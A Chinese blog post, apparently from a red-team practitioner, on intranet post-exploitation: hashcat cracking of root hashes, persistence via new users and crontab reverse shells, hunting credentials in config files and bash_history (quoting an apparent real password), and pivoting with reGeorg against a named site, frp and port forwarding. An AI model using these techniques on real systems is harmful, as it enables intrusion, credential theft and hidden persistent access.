经历过几次HW行动,每次HW都运气较好可以拿到服务器,于是每次公司的内网渗透的任务就交给我,记录一下对于内网的信息搜集过程,以及在此过程中我自己所积累的小技巧。

passwd

一般来说通过shirostruts2拿到的shell基本都是root,很多人都会直接去读取passwd文件,其实并不可取。下面展示一下2核4G服务器跑hash文件的过程。一般是跑不出来的,hash过程较难逆,除非存在彩虹表,一般都跑不出来。

hashcat -m 1800 -a 0 -o found.txt linux-root.txt /usr/share/john/password.lst --force
hashcat (v4.0.1) starting...

OpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-Intel(R) Xeon(R) Platinum 8163 CPU @ 2.50GHz, 256/738 MB allocatable, 1MCU

Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Uses-64-Bit

Password length minimum: 0
Password length maximum: 256

ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastical reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Watchdog: Temperature retain trigger disabled.

* Device #1: build_opts '-I /usr/share/hashcat/OpenCL -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=8 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=16 -D KERN_TYPE=1800 -D _unroll'
* Device #1: Kernel m01800.8f866878.kernel not found in cache! Building may take a while...

继续 :(

[s]tatus [p]ause [r]esume [b]ypass [c]heckpoint [q]uit => Dictionary cache built:
* Filename..: /usr/share/john/password.lst
* Passwords.: 3559
* Bytes.....: 26325
* Keyspace..: 3559
* Runtime...: 0 secs

- Device #1: autotuned kernel-accel to 128
- Device #1: autotuned kernel-loops to 128
[s]tatus [p]ause [r]esume [b]ypass [c]heckpoint [q]uit => [s]tatus [p]ause [r]esume [b]ypass [c]heckpoApproaching final keyspace - workload adjusted.

Session..........: hashcat
Status...........: Exhausted
Hash.Type........: sha512crypt $6$, SHA512 (Unix)
Hash.Target......: linux-root.txt
Time.Started.....: Mon Jun  8 11:29:25 2020 (23 secs)
Time.Estimated...: Mon Jun  8 11:29:48 2020 (0 secs)
Guess.Base.......: File (/usr/share/john/password.lst)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:      311 H/s (8.82ms)
Recovered........: 0/2 (0.00%) Digests, 0/2 (0.00%) Salts
Progress.........: 7118/7118 (100.00%)
Rejected.........: 0/7118 (0.00%)
Restore.Point....: 3559/3559 (100.00%)
Candidates.#1....: doom2 -> sss
HWMon.Dev.#1.....: N/A

Started: Mon Jun  8 11:28:50 2020
Stopped: Mon Jun  8 11:29:49 2020

一般建议可以以root用户新建用户来维持权限,或者是写入corntab计划来定时反弹shell。实操中几乎很少有运维、开发去检查定时计划的反弹shell脚本,所以基本上可以满足后持续渗透的条件。

信息搜集阶段

  • 配置文件

数据库配置信息 通过mybatis等配置文件就可以拿到内网中对应的数据库机器,一般都是低权限,运气好可以拿到高权限。运气再好一点存在高权限的mssql数据库可以尝试连接一下尝试xp_cmd_shell来执行命令。

有的时候拿到的机器或多或少存在一些特殊情况,比如docker机器、单纯的一个数据库机器,那么就尽力而为去做一些搜集工作,特别是docker机器,除了跑的服务,机器里面太干净了,基本没有什么可以利用的地方。

在当前目录下搜索存在字符为'mysql'的文件
grep -rn "mysql" .
=======
查看对应系统的敏感配置文件
cat static/scripts/tinymce/js/tinymce/plugins/jbimages/ci/application/config/database.php
=======
curl ifconfig.me
120.25.13.49

我们通过web层面拿到的机器,一般都是web服务器,即存在各种jar包,所以服务器里会存放大量配置文件

ps -ef|grep java

netstat -ANTUP

通过进程任务可以查找到部署jar包的目录和相对应依赖,大部分运维和开发都习惯于在根目录下新建data目录或者是非系统文件夹下的目录存在web的依赖jar包,我们就可以从这点做突破口。查看一下端口开放情况和对应的目录位置,有一些shell的基础就可以搜集到这些信息。

  • bash_history

命令执行历史文件一般建议必看,里面会存着一些意想不到的内容,下面截取一小部分我在内网实战中发现的惊喜:

su root
crontab -e
su rppt
su root
crontab -e
crontab -l
ll
cd domain/
ll
cd nexus3/
ll
cd nexus-3.12.0-01
ll
cd bin/
./nexus start
pactera@575
cd domain/
ll
cd nexus3/

注意./nexus startcd domain/两条命令中间的那个“命令”,对,没错那个是sudoer用户的密码,su切换直接就拥有root权限。我们分析一下为什么出现这样的现象:个人认为是在运行nexus程序是需要密码来提升权限,然后输入者在等待过程中没有发现输入密码的shell还没有回显出来就输入了密码,从而导致密码被系统当作执行命令记录进了history文件。


发现这个后,我第一时间去看了自己服务器和自己的mac本上的历史文件,搜索机器密码关键词,同时也存在这样的现象明文密码存在了里面

醍醐灌顶

总结下来,内网的信息收集需要的是细心。

内网穿透

在写之前我们需要明确一点,就是我们所需要的内网目标是什么? 而内网穿透和内网代理的分别在哪里? 在什么情况我们需要做内网穿透,什么时候我们需要做内网代理?

python3 reGeorgSocksProxy.py -p 9999 -l 0.0.0.0 -u https://www.pgyer.com/tunnel.nosocket.php

内网穿透就是针对一个机器下的某一个特定端口,通过流量转发的形式把端口暴露在公网上,举个例子,我们拿下了一个linux机器,很巧这个机器是运维机器,我们发现了大量的运维账号密码。 又然后,发现windows的远程登录服务即3389端口,所以我们在这个时候可以使用端口服务转发的技巧,把端口流量转发到一个我们可控公网的端口上(如33890),那么我们在对我们自己可控公网的端口上进行数据请求的时候,就是在对这个windows机器的数据请求,所以我们可以很轻松的使用我们的到的账号和密码来连接对应的windows机器。

所以我们做内网穿透的最终目的,很显然是: 我们在已知某个内网服务器的敏感信息(如3389远程连接账号密码、3306连接账号密码),而我们在内网又无法使用windows机器远程连接、mysql-client软件对我们所得到的信息进行明确验证时,那么这个时候我们可以使用内网穿透即流量转发的手段来进行进一步验证。

内网代理

内网代理,顾名思义就是我们自己可控的本机,通过各种代理方法(s5、s4),把拿下的内网服务器当作流量转发的一个中间跳板,对内网进行一系列我们想做的事情。这种情况下,我们的代理机器在内网没有具体的一个身份,只是我们通过代理的方式把我们对内网所发出的流量通过内网可控服务器向内网进行请求。

frp代理

极力推荐。挂了代理就已经进入了内网,十分方便。只需要配置vps(frps)端,拿下shell后下载frpc客户端,启动服务就可以。 windows:proxifier linux:frpc

lcx代理

没用过,听过。